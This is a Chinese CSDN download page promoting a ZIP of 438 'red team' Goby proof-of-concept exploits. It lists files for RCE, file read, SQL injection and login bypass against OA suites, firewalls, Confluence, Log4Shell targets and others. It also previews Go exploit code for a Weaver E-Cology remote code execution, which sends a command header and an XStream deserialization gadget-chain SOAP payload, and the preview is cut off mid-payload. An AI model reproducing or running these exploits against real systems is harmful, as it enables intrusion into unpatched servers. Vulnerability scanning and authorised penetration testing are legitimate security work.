红队版Goby-poc438个自定义goby-poc_goby红队poc,goby自定义poc资源-CSDN文库

共438个文件

json：368个

go：70个

goby

网络安全

漏洞扫描

渗透测试

需积分: 41 80 浏览量 2022-08-10 21:23:21 上传评论 3 收藏 533KB ZIP 举报

【红队版Goby-poc438个自定义goby-poc】是一个集合，包含了438个针对Goby框架的自定义检测点（Proof of Concept，简称POC），这些POC主要用于网络安全领域的漏洞扫描和渗透测试。Goby是一个开源的安全测试框架，它的主要功能是帮助安全专家和红队成员发现并利用系统中的安全漏洞。在网络安全领域，POC是指一种证明特定漏洞存在的代码或脚本。每个POC通常设计用于检查特定系统或应用是否受到某一已知漏洞的影响。这些自定义Goby-POC可能由不同的安全研究人员贡献，用于探测各种环境下的Goby框架相关的安全问题。由于是从网络上收集的，可能存在重复的POC，使用者需要自行进行判断和筛选，以确保高效和准确的扫描结果。 Goby框架是渗透测试工具的一个例子，它提供了一个平台，使得安全测试人员能够编写和执行自定义的漏洞检测脚本。通过集成大量的POC，红队可以更全面地评估目标系统的安全性，找出潜在的攻击面，从而提升攻击的有效性。这个集合中的736个POC，除了红队版的438个，可能还包括了其他通用的POC。这表明了Goby框架的广泛使用和其在安全社区中的重要地位。无论是对于防御者进行漏洞修补，还是对于攻击者寻找突破口，了解并掌握这些POC都是非常有价值的。在实际操作中，如果没有红队版的Goby-poc，用户可以直接将这些自定义POC导入到Goby框架的POC管理模块，进行批量扫描。这样，用户可以根据自身需求对目标系统进行全面的安全评估，及时发现并修复可能存在的安全风险。 "红队版Goby-poc438个自定义goby-poc"是一个宝贵的资源库，它集成了大量的Goby框架相关漏洞检测方法，为网络安全专业人士提供了强大的工具，帮助他们更好地执行渗透测试，提升网络安全防护能力，同时也揭示了当前网络安全环境的复杂性和挑战性。无论是对于企业内部的安全审计，还是对于第三方的安全服务提供商，掌握并利用这些POC都能极大地提高工作效率和效果。

资源详情

资源评论

资源推荐

收起资源包目录

红队版Goby-poc438个自定义goby-poc （438个子文件）

Weaver_OA_E_Cology_Workflowservicexml_RCE.go 84KB

Weaver_e_cology_OA_XStream_RCE_CVE_2021_21350.go 81KB

ForgeRock_AM_RCE_CVE_2021_35464.go 25KB

landray_oa_treexml_rce.go 10KB

showDocGo.go 8KB

Atlassian_Confluence_Webwork_OGNL_Inject_CVE_2022_26134.go 8KB

F5_BIG_IP_login_bypass_CVE_2022_1388.go 6KB

showDocJson.go 6KB

ESAFENET_DLP_dataimport_RCE.go 6KB

H3C_IMC_dynamiccontent.properties.xhtm_RCE.go 6KB

Elasticsearch_Remote_Code_Execution_CVE_2015_1427.go 6KB

Elasticsearch_Remote_Code_Execution_CVE_2014_3120.go 5KB

Tongda_OA_api.ali.php_RCE.go 5KB

Webgrind_File_read_cve_2018_12909.go 5KB

Many_network_devices_have_arbitrary_file_downloads.go 5KB

Longjing_Technology_BEMS_API_1.21_Remote_Arbitrary_File_Download.go 4KB

FLIR_AX8_Arbitrary_File_Download_Vulnerability_CNVD-2021-39018.go 4KB

Node_red_UI_base_Arbitrary_File_Read_Vulnerability_CVE_2021_3223.go 4KB

SPON_IP_network_intercom_broadcast_system_getjson.php_Arbitrary_file_read.go 4KB

TopSec_Reporter_Arbitrary_file_download_CNVD_2021_41972.go 4KB

AceNet_AceReporter_Report_component_Arbitrary_file_download.go 4KB

dahua_DSS_Arbitrary_file_download_cnvd_2020_61986.go 4KB

SPON_IP_network_intercom_broadcast_system_ping.php_RCE.go 4KB

SPON_IP_network_intercom_broadcast_system_exportrecord.php_any_file_download.go 4KB

Panabit_Application_Gateway_ajax_top_backstage_RCE.go 4KB

WangKang_Next_generation_firewall_router_RCE.go 4KB

Panabit_iXCache_ajax_cmd_backstage_RCE.go 4KB

Panabit_Panalog_cmdhandle.php_backstage_RCE.go 4KB

ZhongQing_naibo_Education_Cloud_platform_reset_password.go 4KB

Jellyfin_Audio_File_read_CVE_2021_21402.go 4KB

ZhongQing_naibo_Education_Cloud_Platform_Information_leakage.go 4KB

ShiziyuCms_wxapp.php_File_update.go 4KB

xiaomi_Mi_wiFi_From_File_Read_To_Login_CVE_2019_18370.go 4KB

ZhongYuan_iAudit_get_luser_by_sshport.php_RCE.go 4KB

JEEWMS_Arbitrary_File_Read_Vulnerability.go 4KB

SPON_IP_network_intercom_broadcast_system_rj_get_token.php_any_file_read.go 3KB

NVS3000_integrated_video_surveillance_platform_is_not_accessible.go 3KB

Shenzhen_West_dieter_Technology_Co_LTD_CPE_WiFi__tracert_RCE.go 3KB

Shenzhen_West_dieter_Technology_Co_LTD_CPE_WiFi__ping_RCE.go 3KB

Apache Solr Log4j JNDI RCE.go 3KB

Tuchuang_Library_System_Arbitrary_Reading_File_CNVD_2021_34454.go 3KB

Holographic_AI_network_operation_and_maintenance_platform_RCE.go 3KB

HEJIA_PEMS_SystemLog.cgi_Arbitrary_file_download.go 3KB

Many_network_devices_have_password_leaks.go 3KB

ShopXO_download_File_read_CNVD_2021_15822.go 3KB

WangKang_NS_ASG_cert_download.php_File_read.go 3KB

Huijietong_cloud_video_fileDownload_File_read.go 3KB

SECWORLD_Next_generation_firewall_pki_file_download_File_read.go 3KB

D_Link_Dir_645_getcfg.php_Account_password_disclosure_CVE_2019_17506.go 3KB

Selea_OCR_ANPR_SeleaCamera_File_read.go 3KB

D_Link_ShareCenter_DNS_320_system_mgr.cgi_RCE.go 3KB

Selea_OCR_ANPR_get_file.php_File_read.go 3KB

ACTI_camera_images_File_read.go 3KB

LanhaiZuoyue_system_download.php_File_read.go 3KB

LanhaiZuoyue_system_debug.php_RCE.go 3KB

Kingdee_EAS_server_file_Directory_traversal.go 3KB

ZZZCMS_parserSearch_RCE.go 3KB

ZhongkeWangwei_Next_generation_firewall_File_read.go 3KB

TamronOS_IPTV_ping_RCE.go 2KB

JingHe_OA_download.asp_File_read.go 2KB

nsoft_EWEBS_casmain.xgi_File_read.go 2KB

H3C_Next_generation_firewall_File_read.go 2KB

H3C_HG659_lib_File_read.go 2KB

Huijietong_cloud_video_list_Information_leakage.go 2KB

ShiziyuCms_ApigoodsController.class.php_SQL_injection.go 2KB

ShiziyuCms_ApiController.class.php_SQL_injection.go 2KB

HanWang_Time_Attendance_SQL_injection.go 2KB

H3C_SecPath_Operation_Login_bypass.go 2KB

Zhongxing_F460_web_shell_cmd.gch_RCE.go 2KB

Qilai_OA_CloseMsg.aspx_SQL_injection.go 2KB

Atlassian_Confluence_OGNL_injection_CVE_2021_26084.json 23KB

Apache_HTTP_Server_2.4.48_mod_proxy_SSRF_CVE_2021_40438.json 19KB

Spring_Cloud_Gateway_Actuator_API_SpEL_Code_Injection_CVE_2022_22947.json 14KB

Apache_HTTP_Server_SSRF_CVE-2021-40438.json 12KB

Atlassian_Jira_Path_Traversal_CVE_2021_26086.json 12KB

Apache_HTTP_Server_SSRF_CVE_2021_40438.json 12KB

CVE_2022_22947.json 11KB

Spring_Boot_Actuator_Logview_Path_Traversal_CVE_2021_21234.json 10KB

Oracle_Weblogic_SearchPublicRegistries.jsp_SSRF_CVE_2014_4210.json 10KB

Jellyfin_prior_to_10.7.0_Unauthenticated_Arbitrary_File_Read_CVE_2021_21402.json 10KB

Apache_2.4.49_RCE_CVE_2021_41773_and_2.4.50_CVE_2021_42013.json 9KB

HotelDruid_Hotel_Management_Software_v3.0.3_XSS_CVE_2022_26564.json 9KB

Jetty_WEB_INF_FileRead_CVE_2021_34429.json 9KB

VMware_NSX_Log4shell_CVE-2021-44228.json 8KB

Tianwen_ERP_system__uploadfile.aspx_Arbitraryvfilevupload.json 8KB

VMware_NSX_Log4shell_CVE_2021_44228.json 8KB

DotCMS_Arbitrary_File_Upload_CVE_2022_26352.json 7KB

H3C_IMC_RCE.json 7KB

WSO2_Management_Console_Unrestricted_Arbitrary_File_Upload_RCE_CVE_2022_29464.json 7KB

VMware_vCenter_Log4shell_CVE-2021-44228_(1).json 7KB

Tianwen_ERP_system_FileUpload_CNVD_2020_28119.json 7KB

Weblogic_SSRF.json 7KB

VMware_vCenter_Log4shell_CVE_2021_44228_1.json 7KB

Spring_Framework_Data_Binding_Rules_Spring4Shell_RCE_CVE_2022_22965.json 7KB

Jetty_WEB_INF_FileRead_CVE_2021_28169.json 7KB

Apache_HTTP_Server_2.4.49_2.4.50_Path_Traversal_CVE_2021_42013.json 7KB

Jellyfin_10.7.0_Unauthenticated_Abritrary_File_Read_CVE_2021_21402.json 7KB

Apache_Struts2_S2_062_RCE_CVE_2021_31805.json 6KB

Ruijie_Networks_EWEB_Network_Management_System_RCE_CNVD_2021_09650.json 6KB

GitLab_RCE_CVE-2021-22205.json 6KB

共 438 条

package exploits import ( "fmt" "git.gobies.org/goby/goscanner/goutils" "git.gobies.org/goby/goscanner/jsonvul" "git.gobies.org/goby/goscanner/scanconfig" "git.gobies.org/goby/httpclient" "strings" ) func init() { expJson := `{ "Name": "Weaver OA E-Cology Workflowservicexml RCE", "Description": "Weaver OA E-Cology Workflowservicexml RCE", "Product": "Weaver OA E-Cology", "Homepage": "https://www.weaver.com.cn/", "DisclosureDate": "2021-05-19", "Author": "PeiQi", "GobyQuery": "app=\"Weaver-OA\"", "Level": "3", "Impact": "RCE", "Recommendation": "", "References": [ "http://wiki.peiqi.tech" ], "HasExp": true, "ExpParams": [ { "name": "Cmd", "type": "input", "value": "whoami" } ], "ExpTips": { "Type": "", "Content": "" }, "ScanSteps": [ "AND", { "Request": { "data": "", "data_type": "text", "follow_redirect": true, "method": "GET", "uri": "/" }, "ResponseTest": { "checks": [ { "bz": "", "operation": "==", "type": "item", "value": "200", "variable": "$code" } ], "operation": "AND", "type": "group" } } ], "ExploitSteps": null, "Tags": ["RCE"], "CVEIDs": null, "CVSSScore": "0.0", "AttackSurfaces": { "Application": ["Weaver OA"], "Support": null, "Service": null, "System": null, "Hardware": null } }` ExpManager.AddExploit(NewExploit( goutils.GetFileName(), expJson, func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool { uri := "/services%20/WorkflowServiceXml" cfg := httpclient.NewPostRequestConfig(uri) cfg.VerifyTls = false cfg.FollowRedirect = false cfg.Header.Store("Content-type", "text/xml") cfg.Header.Store("Cmd", "net user") cfg.Data = "<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:web=\"webservices.services.weaver.com.cn\"><soapenv:Header/><soapenv:Body><web:doCreateWorkflowRequest><web:string><java.util.PriorityQueue serialization='custom'>
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
      <comparator class='javafx.collections.ObservableList$1'/>
    </default>
    <int>3</int>
    <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
      <dataHandler>
        <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
          <contentType>text/plain</contentType>
          <is class='java.io.SequenceInputStream'>
            <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
              <iterator class='com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator'>
                <names class='java.util.AbstractList$Itr'>
                  <cursor>0</cursor>
                  <lastRet>-1</lastRet>
                  <expectedModCount>0</expectedModCount>
                  <outer-class class='java.util.Arrays$ArrayList'>
                &#x